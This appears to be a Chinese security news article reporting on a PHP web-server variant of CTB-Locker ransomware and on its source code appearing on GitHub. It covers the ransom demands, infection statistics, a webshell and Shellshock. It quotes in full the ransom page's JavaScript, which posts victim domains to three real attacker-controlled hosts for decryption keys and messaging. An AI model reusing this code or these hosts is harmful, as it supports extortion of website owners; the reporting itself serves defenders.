Web版勒索软件CTB-Locker PHP源码现身GitHub

jopen 8年前

Web版勒索软件CTB-Locker PHP源码现身GitHub

勒索软件CTB-Locker出现其Web演化版本,可感染网页站点。据分析,其编码为采用PHP编写,目前源码已被托管至GitHub上。

Web版勒索软件CTB-Locker的首次出现

就在今年西方情人节前夕,英国的一位站长却有一个不愉快的发现,他查看到其管理的网站页面遭受篡改,篡改页面上呈现的信息看起来跟电脑感染恶意勒索软件的情形相似,其主要信息是让站点管理员支付比特币,换取相应目录文件的解密,以便使站点恢复正常。篡改页面如下图,

Web版勒索软件CTB-Locker PHP源码现身GitHub Web版勒索软件CTB-Locker PHP源码现身GitHub

在被验证为首次针对网页的勒索事件后,该事件便得到极大的关注。但其实作为服务器管理员来说,开始都只是希望这仅仅是一次性事件,而不是攻击者预谋的开端。

在初始阶段,实际上并无发现其他感染事件,而情况在过去的一个星期中有了极大的转变。在这段时间内频繁出现上述的网页勒索感染事件。据悉,到目前有超过100个同类型事件被发现。在篡改的信息中其幕后操纵者要求受害者支付0.4个比特币,并且如在两天内未完成支付,支付额度将提升至0.8个比特币。以下为其要求支付比特币的源码:

<script>  admins = ["http://orangecountyplasterandstucco.com/access.php", "http://klinika-redwhite.com/access.php", "http://charoenpan.com/access.php"];  iadmin = 0;  domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);    function post_admin(postdata, onsuccess) {     $.post(admins[iadmin], postdata+"&domain="+domain, function (data) {           if (data["status"] == "success") {              onsuccess(data);           } else {              alert(data["status"]);           }        }, 'json'     ).fail(function() {        alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');        iadmin = (iadmin + 1) % 3;     });  }    $('#decrypt').click(function() {     post_admin("decrypt=", function(data) {        alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');        url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');        window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];     });  });    $('#dectest').click(function() {     post_admin("dectest=&secret="+($("#secret").val()), function(data) {        alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');        url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');        window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];     });  });    $('#sendmsg').click(function() {     msg = "&msg=" + encodeURIComponent($("#chatmsg").val());     post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {        alert('Thank you for feedback!');     });  });    $('#recvmsg').click(function() {     post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {        $("#chatmsg").val(data["answer"]);     });  });     </script>

该勒索程序在勒索支付通知上,跟CTB-Locker为同一模型。但单单从技术上来看,这跟“声名远扬”的CTB-Locker勒索软件的情况不符。因其仅运行于Windows桌面环境,而并无法运行在 Linux Web服务器上。

Web版CTB-Locker采用PHP编写

来自 Stormshield的安全分析员Benkow,设法分析勒索软件的运行模式并从一个受感染的对象提取到了源代码。随后,Benkow将Web版CTB-Locker 源码上传至 KernelMode 论坛上,供其他安全研究人员分析和研究。而Web版CTB-Locker的“知名度”便迅速提升,其源码也被托管至GitHub。

源代码地址请点击: GitHub

考虑到,此前勒索软件Hidden Tear源码也托管至GitHub,但事情最终却没有朝着有利于用户的方向进展。而结合当前的情形,可以预见,在接下来的数个月中,将可能出现大规模的针对网页站点进行的攻击感染。

而据Benkow的研究分析,Web版CTB-Locker是采用PHP编写,其中使用高强度的AES-256加密算法。具体可参考 GitHub上的源码。

感染点目前仍然未知

目前尚未发现该勒索程序如何感染服务器主机的。其中值得注意的是,从统计的情况来看,受感染的主机运行Linux和Windows双系统,他们中的绝大多数(73%)主机启用着Exim 服务(SMTP服务器)。Benkow也补充解释说,

其中大部分主机均运行着一个webshell,其可通过 ‘logout.php’动态页面进行访问。

此外,许多感染的站点被发现仍然存在Shellshock漏洞,而该漏洞实际上在一年多以前已经发布了补丁。从统计的情况来看,其中存在较大的问题是大部分站点往往忽略了自身站点的漏洞问题,未能对其进行修复,导致这些漏洞可能被攻击者所利用。

此前也出现过勒索软件感染Web服务器事件

在2015年的12月份,安全研究人员发现Linux.Encoder勒索软件家族已经有了针对Web服务器的功能,据研究分析,Linux.Encoder是采用 C 以及C++进行编写,而其跟Web版CTB-Locker并无关联。

结语

在日益严峻的安全形势下,站点的管理员应将自身站点版本更新到最新。同时在可能的情况下,应使用多种扫描工具交叉检测,对管理的站点进行漏洞扫描,以便及时发现漏洞并进行修复加固。

*参考来源: softgithubker ,FB小编troy编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

</div>

来自: http://www.freebuf.com/news/97605.html